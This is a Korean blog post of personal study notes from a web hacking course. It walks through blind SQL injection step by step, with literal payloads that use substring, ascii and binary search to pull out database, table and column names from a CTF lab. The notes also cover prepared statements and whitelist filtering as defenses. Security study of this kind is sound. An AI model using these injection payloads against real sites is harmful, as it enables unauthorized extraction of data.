1. 웹 개발 : 웹 해킹에 있어서 필수는 아님. but. 웹개발을 안해볼 경우 한계가 있음..
구조를 머릿속에 구축할 수 있는 능력. 해본 것.
---트러블 슈팅
>문제의 발생 원인 찾아보기.
**review
-Union SQL injection
> union 구문. 컬럼 개수, 타입이 같아야 함
>order by를 통해 컬럼 개수 구함
-Error SQL injection
> 문법에러가 아닌 논리에러
>updataxml
<Blind SQL injection>
<>공격위치
-> db질의 결과가 화면에 나오지 않는 곳
-> 그외 모든곳
but. 효율적이지 못함
blind sql injection : sql질의문의 참과 거짓 조건을 통해 데이터를 추출하는 기법
**원리
>참 거짓의 조건에 따라 응답이 다른 곳
-> 어떠하든 응답값이 하나라도 다르기만 하면
참인 조건으로 sql injection 취약점 확인
거짓인 조건으로 응답값 확인
burp swite에서 compare에서 응답값의 차이를 확인가능 paste로 qlry word를 통해 글자별로 차이를 확인 가능
auto scroll match 를 통해 특정 단어가 존재하는지 확인이 편함
변하는요소
)에러페이지가 리다이렉트 될 경우
)미묘한 데이터의 정렬 순서가 변경 될 경우
방법
비교문 넣기
ex) 결과값이 a인가 ? 참/거짓 을 통하여 데이터를 추출
* 필요한 지식 문법
(1) limit
limit 0,1
(2) substring
글자를 자르는 것
substring('test',0,1)
t가 출력
substring((SQL),0,1)
(3) ASCII
숫자로 비교
(4) 2진 탐색 알고리즘
-> 특정 값 사이의 값을 찾을 떄 중간값의 대소비교를 통하여 찾아나가는 알고리즘
step 1. SQLi 가능여부 확인.
name like '%%'
over%' and '1%'='1
step 2. Blind SQLi 가능여부 확인
참과 거짓일 때의 값이 다른지를 확인
+ and조건 하나더 해서 sql문 위치
over%' and (SQL) and '1%'='1
step 3. (select문) 확인
over%' and ('test'='test') and '1%'='1
over%' and ((select 'test')='test') and '1%'='1
위의 두 결과값이 모두 참이여야 함
step 4. 공격 fromat 만들기
over%' and (SQL) and '1%'='1
ascii('t')>0
위가 참이면 ascii() 함수 사용가능
substring('test',1,1)=t
ascii((substring('test',1,1)))>0
확인
ascii((substring((select 'test'),1,1)))>0
ascii((substring((SQL),1,1)))>0
step 4. DB이름 추출
공격 form
ascii((substring((select database()),1,1)))>100
위 쿼리문을 이분탐색 알고리즘을 통하여 구하기
step 5. table명 추출
select table_name from inforamtion_schema.tables where table_schema='db명' limit 0,1
ascii((substring((select table_name from inforamtion_schema.tables where table_schema='db명' limit 0,1),1,1)))>0
마찬가지로 이분탐색 알고리즘
step 6. column명 추출
select column_name from---
마찬가지로 format에 넣고 이분탐색 알고리즘
step 7.data추출
마찬가지로 format에 selec문 넣고 이분탐색 알고리
로그인 횟수 제한이 있어도 할수 있는 이유
id값이 바뀌기 때문
step 1. SQLi 가능여부 확인.
normaltic' and '1'='1
step 2. Blind SQLi 가능여부 확인
참과 거짓일 때의 값이 다른지를 확인
+ and조건 하나더 해서 sql문 위치
over%' and (SQL) and '1%'='1
step 3. (select문) 확인
normaltic' and (select 'test'='test') and '1'='1
step 4. 공격 fromat 만들기
normaltic'and (SQL) and '1'='1
ascii('t')>0
위가 참이면 ascii() 함수 사용가능
substring('test',1,1)=t
ascii((substring('test',1,1)))>0
확인
ascii((substring((select 'test'),1,1)))>0
ascii((substring((SQL),1,1)))>0
step 4. DB이름 추출
공격 form
normaltic' and (SQL) and '1'='1
normaltic' and (ascii((substring((SQL),1,1)))>100) and '1'='1
ascii((substring((select database()),1,1)))>100
위 쿼리문을 이분탐색 알고리즘을 통하여 구하기
normaltic'and (ascii((substring((select database()),1,1)))>100) and '1'='1
115 101 103 102 97 117 108 116 95 115 113 108
: segfault_sql
union error blind sqli : basic
SQL 대응방안
>>sql질의문이 사용자 입력값이 그대로 들어가기 때문
1. prepared statement
sql = "select ~~~ ? ? "
>미리 컴파일을 해서 변형되지 않음
>sql injection이 근본적으로 불가능
>서버 속도 개선을 위해 나온것이나 sql injection이 막히는 부가효과
그렇다면 왜 sql injection을 배우는걸까?
sql injection이 발생하는 이유
1. prepare statemaent를 잘못 사용한 경우.
sql = "select : . . ""
2. 옛날에 만든 코드(라이브러리)
-> 겉에다가 필터링 : 우회
3. prepare statement가 적용안되는 곳
>order by
>table 명
>column 명
select * from board
where id~~
order by $_GET['sort Order']
sortOrder = date
보내는 곳이 table명이나 컬럼명일 경우 적용안되기 때문에 sqli가능
--->>> whiteList 기반 필터링이 필요
mysqli_real_escape_string - > 블랙리스트 기반 . 화이트리스트와 다
논리에러 유발 함수 종류 찾기
blind sql 파이썬으로 하기
/////////
과제
1. blind sql db추출 3 ctf 문제풀이
> 풀이를 워드 파일에 보고서 형식으로 정리
->자유양식으로 이쁘게 잘 적당히 알아서
왜 이걸 썼고 공격 기법은 무엇이고 어떤 원리이며 ...
2. 웹개발 메인에서 메뉴버튼 개발
게시판 리스트 확인
게시글 읽기
게시글 쓰기
게시글 수정
게시글 삭제
게시글 검색
프론트엔드 bootsrtap
혹여나 밀렸을 경우 밀린부분부터
'Nomaltic Hacking Study' 카테고리의 다른 글
2023.05.09 (0) | 2023.05.09 |
---|---|
2023.05.04 (6주차) (0) | 2023.05.04 |
Union SQLi, Err SQLi 실습 (0) | 2023.04.20 |
2023.04.2 (0) | 2023.04.20 |
2023.04.13 (0) | 2023.04.13 |